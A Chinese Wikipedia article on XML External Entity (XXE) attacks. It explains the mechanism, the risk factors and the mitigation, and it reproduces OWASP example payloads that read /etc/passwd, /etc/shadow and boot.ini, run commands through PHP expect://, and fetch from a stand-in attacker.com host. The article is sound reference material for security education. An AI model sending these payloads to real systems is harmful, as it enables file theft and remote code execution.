XML外部实体攻击

维基百科,自由的百科全书

XML外部实体攻击是一种针对解析XML格式应用程序的攻击类型之一。此类攻击发生在配置不当的XML解析器处理指向外部实体的文档时,可能会导致敏感文件泄露、拒绝服务攻击、服务器端请求伪造、端口扫描(解析器所在域)和其他系统影响。[1]

简介[编辑]

XML 1.0标准定义了XML文档结构,同时定义了实体的概念,即某种类型的存储单元。外部一般解析实体或外部参数解析实体通常简称为外部实体,攻击者可声明特定系统标识符英语System identifier来访问服务器本地或远程内容。XML处理器假设系统标识符为可访问的统一资源标志符(URI),然后将同名的外部实体以系统标识符所指定的资源内容解除引用。若系统标识符被修改,则XML处理器可能会泄露应用程序通常无法访问的秘密信息。类似的攻击矢量可能会利用外部文档类型定义(DTD)、外部样式表和外部Schema等等,这些同样会导致类似的外部资源包含攻击。

此类攻击利用系统标识符中的文件、Schema及相对路径来泄露本地文件(如用户数据等)。由于攻击过程发生在处理XML文档的应用程序中,攻击者可滥用此受信的应用程序对其他内部系统进行攻击,也可能通过http(s)请求泄露其他内部内容,亦可能对其他未受保护的内部服务进行跨站请求伪造攻击。在部分情形下,攻击者可通过解引用恶意URI的方式对存在内存损坏英语Memory corruption问题的XML处理库进行攻击,导致任意代码执行(以应用程序所使用的账户)。其他攻击针对持续返回数据的本地资源进行,可能会导致应用程序使用过多未释放的线程行程

需要留意的是,应用程序无需明确返回数据来证明其受信息泄露问题的影响。攻击者可利用受控制的DNS服务器来传输数据至特定子域名。

风险因素[编辑]

  • 应用程序解析XML文档;
  • 应用程序允许用户修改文档类型定义中实体的系统标识符部分;
  • XML处理器需验证并处理文档类型定义;
  • XML处理器需解析文档类型定义中的外部实体。

攻击示例[编辑]

下列攻击示例来自《Testing for XML Injection (OWASP-DV-008)》。

访问持续返回数据的本地资源[编辑]

 <?xml version="1.0" encoding="ISO-8859-1"?>
  <!DOCTYPE foo [  
   <!ELEMENT foo ANY >
   <!ENTITY xxe SYSTEM "file:///dev/random" >]><foo>&xxe;</foo>

远程代码执行[编辑]

PHP载入“expect”模块时,攻击者可使用修改过的载荷来执行远程代码

 <?xml version="1.0" encoding="ISO-8859-1"?>
  <!DOCTYPE foo [ <!ELEMENT foo ANY >
    <!ENTITY xxe SYSTEM "expect://id" >]>
     <creds>
        <user>&xxe;</user>
        <pass>mypass</pass>
     </creds>

泄露/etc/passwd或其他目标文件[编辑]

  <?xml version="1.0" encoding="ISO-8859-1"?>
  <!DOCTYPE foo [  
    <!ELEMENT foo ANY >
    <!ENTITY xxe SYSTEM "file:///etc/passwd" >]><foo>&xxe;</foo>
 
  <?xml version="1.0" encoding="ISO-8859-1"?>
  <!DOCTYPE foo [  
    <!ELEMENT foo ANY >
    <!ENTITY xxe SYSTEM "file:///etc/shadow" >]><foo>&xxe;</foo>
 
  <?xml version="1.0" encoding="ISO-8859-1"?>
  <!DOCTYPE foo [  
    <!ELEMENT foo ANY >
    <!ENTITY xxe SYSTEM "file:///c:/boot.ini" >]><foo>&xxe;</foo>
 
  <?xml version="1.0" encoding="ISO-8859-1"?>
  <!DOCTYPE foo [  
    <!ELEMENT foo ANY >
    <!ENTITY xxe SYSTEM "http://www.attacker.com/text.txt" >]><foo>&xxe;</foo>

缓和方案[编辑]

由于XML文档来自不受信的客户端,服务器通常无法有选择性地进行数据验证英语Data validation或忽略文档类型定义中系统标识符部分的数据。因此,管理员应配置XML处理器使用本地静态文件类型定义,并禁止XML文档中所声明的定义。

另请参阅[编辑]

参考文献[编辑]

  1. ^ What Are XML External Entity (XXE) Attacks. Acunetix. [2019-09-02]. (原始内容存档于2014-10-15). 

外部链接[编辑]